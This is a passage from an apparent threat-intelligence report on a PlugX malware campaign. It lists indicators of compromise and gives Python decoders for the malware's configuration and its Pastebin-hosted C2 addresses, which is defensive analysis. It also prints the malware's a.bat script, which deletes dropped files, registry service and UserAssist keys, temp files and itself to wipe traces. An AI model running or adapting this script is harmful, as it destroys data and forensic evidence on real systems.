easy for defenders to identify and prevent execution of the malware, but others continue to apply new and interesting techniques to evade detection. In particular, this set of attackers have made good use of open source tools to package the malware, and show some skill in writing their own wrapper applications to execute payloads. Many in the security industry would be quick to recommend application whitelisting as one of the most effective way to reduce the success rate of attacks, however by applying publicly available techniques it is possible to bypass these controls. For organizations relying on Application Whitelisting, SubTee\xe2\x80\x99s blog makes a series of recommendations which help prevent these bypass techniques. In addition to these mitigations, the Traps 4.0 can be configured to protect the .NET processes which can be abused in this manner. \xc2 Appendix A \xe2\x80\x93 Related IoCs Directly related: 45.248.84[.]7 172.104.65[.]97 SHA256 Comments 5909c1dcfb3270b2b057513561b2ab1613687a0af0072c51244ff005b113888b PlugX 6804be0689bbfbb180bb384ebc316f50cb87e65553d0c3597d6e9b6b6dd8dd3f PlugX 8ea275eee557037ab6626d15c0107bdcf20b45a8307a0dc3baa85d49acc94331 PlugX e6020eb997715c4f627b6e6a16947861bce310aa31fcf58448a5beba11626d36 PlugX 4554aa6c2fdd58dfddebdb786c5d23cd6277025ab0355ffb5d8967c3976e8659 PlugX 3817388a983d5ee1604a8eec621b5eb251cb8bdeab9c8591fe5e8c90cd99ed49 CVE-2017-0199 45513f942b217def56a1eac82a4b5edca65ebdd5e36c7a8751bf0350d5ebea39 CVE-2017-0199 64d7d4846c5dd00a7271fe8a83aebe4317d06abad84d44ffd6f42b1004704bd5 PlugX 07d94726a1ae764fa5322531f29fe80f0246dd40b4d052c98f269987a3ee4515 PowerShell PlugX 4622f8357846f7a0bea3ce453bb068b443e21359203dfa2f74301c7a79a408c2 Downloader for PS PlugX ++ MSI PlugX 49baf12f50fec772fdfe56c49005efb306b72a312a7dbdad98066029a191bfaf CVE-2017-0199 \xc2 https://pastebin[.]com/eSsjmhBG https://pastebin[.]com/PSxQd6qw https://pastebin[.]com/CzjM9qwi https://pastebin[.]com/xHDSxxMD Inferred relation via similar targeting SHA256 Family 6e5864faf4312bf3787e79e432c1acacf2a699ecb5b797cac56e62ed0a8e965c Idicaf 6b455714664a65e2a4af61b11d141467f4554e215e3ebd02e8f3876d8aa31954 Idicaf df58962a3a065f1587f543a501d0e3f0ca05ebac51fc35d4bb4669d8eac9d8c1 Idicaf 52fee36c647ca799e21cd75db1f425ccf632b28c27e67b8578ff6dd30ca62af7 Idicaf 90e45c7b3798433199d6d917a4847a409dbdc101b210d9798f8c78ee43abf6d8 Idicaf 5ff788efd079eb2987b03d98e0c8211ac97ae6479274bade36a170b5a396f72b Idicaf 535abe8cd436d6b635c5687db0ae8d47c7c3679e4f5e2b4d629276b41fca0578 Idicaf ef85896426a0a558ab17346a67f108045d142a2d2a21f7702bfb8be50542726d Idicaf d41e2bbc8ea10dd7543d5f4cb02983e2b1ad5d47cc3ce5fa95189501c019fdac Idicaf 208bd18054134909e2ad680c0096477c48a58e8754a9439002e6523f71e66d47 PlugX 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2 PlugX 5deab61f83e9afe13a79930eda1bdcb6c867042a1ce0e5c44e4209a60ab3327d PlugX 6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb PlugX 8e07c7636be935e0a6184db8a85fd8b607e6c48bb07d34d0138432f7c697bc99 PlugX \xc2 Domains: kbklxpb.imshop.in serupdate.wicp.net msfcnsoft.com micros0ff.com msfcnsoft.com microsoff.net msffncsi.com A781195.gicp.net upgradsource.com B781195.vicp.net kbklxp.eicp.net \xc2 Appendix B \xe2\x80\x93 Python Scripts LZNT1 decrypt script, only works with Windows. import ctypes from ctypes import * with open('mysettings.bin','rb') as f: buffer = f.read() uncompressed_size = len(buffer) * 16 uncompressed = create_string_buffer(uncompressed_size) FinalUncompressedSize = c_ulong(0) nt = windll.ntdll # COMPRESSION_FORMAT_LZNT1 = 2 res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize)) if (res == 0): uncompressed = uncompressed[0:FinalUncompressedSize.value] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import ctypes from ctypes import * \xc2 with open('mysettings.bin','rb') as f: \xc2 \xc2 \xc2 \xc2 buffer = f.read() \xc2 \xc2 \xc2 \xc2 uncompressed_size = len(buffer) * 16 uncompressed = create_string_buffer(uncompressed_size) FinalUncompressedSize = c_ulong(0) \xc2 nt = windll.ntdll \xc2 # COMPRESSION_FORMAT_LZNT1 = 2 res = nt.RtlDecompressBuffer(2, uncompressed, uncompressed_size, buffer, len(buffer), byref(FinalUncompressedSize)) \xc2 if (res == 0): \xc2 \xc2 \xc2 \xc2 uncompressed = uncompressed[0:FinalUncompressedSize.value]\xc2 \xc2 \xc2 \xc2 Decoding the PlugX configuration: def plugx_decode(data): decode_key = struct.unpack_from('> 16) & 0xff ^ ((key2 & 0xff ^ (((key1 >> 16) & 0xff ^ (key1 - (key1 >> 8) & 0xff)) - (key1 >> 24) & 0xff)) - (key2 >> 8) & 0xff)) - (key2 >> 24) & 0xff) out = out + chr(dec) return out 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def plugx_decode(data): \xc2 \xc2 \xc2 \xc2 decode_key = struct.unpack_from('> 16) & 0xff ^ ((key2 & 0xff ^ (((key1 >> 16) & 0xff ^ (key1 - (key1 >> 8) & 0xff)) - (key1 >> 24) & 0xff)) - (key2 >> 8) & 0xff)) - (key2 >> 24) & 0xff) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 out = out + chr(dec) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return out Decoding the C2 addresses from Pastebin: import struct def decode(buf): res = """" for i in range(0, len(buf) -1, 2): dl = ord(buf[i + 1]) dl = dl - 0x41 dl = dl * 0x10 dl = dl + ord(buf[i]) dl = dl - 0x41 res += chr(dl) return res def decode_plugx_pastebin(buf): start = buf.find('DZKS') if start == -1: return None end = buf.find('DZJS', start + 4) if end == -1: return None start += 4 data = buf[start:end] decoded = decode(data) connection_type = struct.unpack_from('<H', decoded, 0)[0] port = struct.unpack_from('<H', decoded, 2)[0] ip = decoded[4:] print ""Decoded IP: {}:{}, type: {}"".format(ip, port, connection_type) return True decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSGAAALLBAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2q9n8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3J=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSDAAAAFAAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsAHyLye8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6aBha3q9niJFu2=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSEAAABGHBEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2niJ8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import struct \xc2 def decode(buf): \xc2 \xc2 \xc2 \xc2 res = """" \xc2 \xc2 \xc2 \xc2 for i in range(0, len(buf) -1, 2): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = ord(buf[i + 1]) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl - 0x41 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl * 0x10 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl + ord(buf[i]) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 dl = dl - 0x41 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 res += chr(dl) \xc2 \xc2 \xc2 \xc2 return res \xc2 def decode_plugx_pastebin(buf): \xc2 \xc2 \xc2 \xc2 start = buf.find('DZKS') \xc2 \xc2 \xc2 \xc2 if start == -1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return None \xc2 \xc2 \xc2 \xc2 \xc2 end = buf.find('DZJS', start + 4) \xc2 \xc2 \xc2 \xc2 if end == -1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return None \xc2 \xc2 \xc2 \xc2 \xc2 start += 4 \xc2 \xc2 \xc2 \xc2 \xc2 data = buf[start:end] \xc2 \xc2 \xc2 \xc2 decoded = decode(data) \xc2 \xc2 \xc2 \xc2 \xc2 connection_type = struct.unpack_from('<H', decoded, 0)[0] \xc2 \xc2 \xc2 \xc2 port = struct.unpack_from('<H', decoded, 2)[0] \xc2 \xc2 \xc2 \xc2 ip = decoded[4:] \xc2 \xc2 \xc2 \xc2 print ""Decoded IP: {}:{}, type: {}"".format(ip, port, connection_type) \xc2 \xc2 \xc2 \xc2 \xc2 return True \xc2 decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSGAAALLBAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2q9n8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3J=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSDAAAAFAAEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsAHyLye8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6aBha3q9niJFu2=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlZrrn5UC9=DZKSEAAABGHBEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+PsFu2niJ8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9=') decode_plugx_pastebin('AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=') \xc2 Appendix C \xe2\x80\x93 a.bat mscorsvw.exe cscript del.vbs del BlackBox.dll del mscorsvw.exe del BlackBox del explorer.exe cscript del.vbs del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\EmpPrx"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASAPI32"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASMANCS"" /f reg delete ""HKU\\.DEFAULT\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-20\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-21-590835768-3595378272-1660587800-1643_Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f del /s c:\\windows\\temp\\*.bat del /s c:\\windows\\temp\\*.dat del /s c:\\windows\\temp\\*.dll del /s c:\\windows\\temp\\*.exe del /s c:\\windows\\temp\\*.vbs del %0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 mscorsvw.exe cscript del.vbs del BlackBox.dll del mscorsvw.exe del BlackBox del explorer.exe cscript del.vbs del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat del %sfxcmd% del mscorsvw.exe del BlackBox.dll del BlackBox del explorer.exe del del.vbs del a.bat reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\emproxy"" /f reg delete ""HKLM\\SYSTEM\\ControlSet001\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\ControlSet002\\services\\EmpPrx"" /f reg delete ""HKLM\\SYSTEM\\CurrentControlSet\\services\\EmpPrx"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASAPI32"" /f reg delete ""HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\svchost_RASMANCS"" /f reg delete ""HKU\\.DEFAULT\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\HRZR_PGYFRFFVBA"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\\rkcybere.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\ErtfubgCbegnoyr\\Ncc\\ertfubg\\ertfubg_k64.rkr"" /f reg delete ""HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows Script Host\\Settings"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\P:\\Hfref\\Nqzvavfgengbe\\Qbjaybnqf\\fipubfg\\fipubfg.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count\\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\\pzq.rkr"" /f reg delete ""HKU\\S-1-5-19\\Software\\WinRAR SFX\\C%%Users%ADMINI~1%AppData%Local%Temp"" /f reg delete 